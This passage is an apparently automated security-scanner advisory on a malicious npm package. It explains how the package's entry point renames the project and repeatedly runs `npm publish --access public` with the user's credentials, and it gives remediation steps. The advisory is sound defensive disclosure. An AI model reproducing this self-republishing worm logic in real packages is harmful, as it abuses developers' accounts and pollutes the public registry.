Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Uses the configured npm credentials to create repeated public releases under names chosen by the script. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 3.3.1 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The entry point automatically renames and republishes the current project to public npm, then repeats the action on a timer. This is a concrete npm publishing worm behavior that uses the user's npm account for repeated releases. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 98.0% - **Started:** 2026-11-04T09:51:52.309Z - **Finished:** 2026-11-04T09:52:35.540Z - **Download time:** 257 ms - **Static scan time:** 15 ms - **AI review time:** 42959 ms - **Total time:** 43231 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Repeatedly republishes the current project under randomly generated public npm package names. - **Trigger:** Importing the declared main entry point or running autopublish.js starts the loop immediately. - **Impact:** Uses the configured npm credentials to create repeated public releases under names chosen by the script. - **Evidence paths:** package.json, autopublish.js - **Review source:** ai\_review - **Reviewed:** 2026-11-04T09:52:35.540Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The script rewrites package.json and package-lock.json with a random name, invokes \`npm publish --access public\`, then schedules another attempt. - **Attack narrative:** When autopublish.js runs, it renames the current package, publishes it publicly to npm, and schedules another attempt after a random delay. Because it is also the declared main entry point and starts the loop at module load, importing the package triggers this repeated publishing behavior. - **Rationale:** The entry point automatically renames and republishes the current project to public npm, then repeats the action on a timer. This is a concrete npm publishing worm behavior that uses the user's npm account for repeated releases. - **Files touched:** package.json, package-lock.json - **Network endpoints:** npmjs.com ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** package.json selects autopublish.js as the package main entry point., autopublish.js changes the current package name to a random name and writes the modified metadata., autopublish.js runs \`npm publish --access public\`., After publishing, autopublish.js schedules another publish attempt after a random delay and starts the loop immediately. - **Evidence against:** README describes a script users run to rename and publish a package, so publishing is part of its stated purpose., The package has no install lifecycle scripts. ## Affected versions and remediation This report applies to temporary\_smelt\_lavender-81@3.3.1. - Avoid installing temporary\_smelt\_lavender-81@3.3.1. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
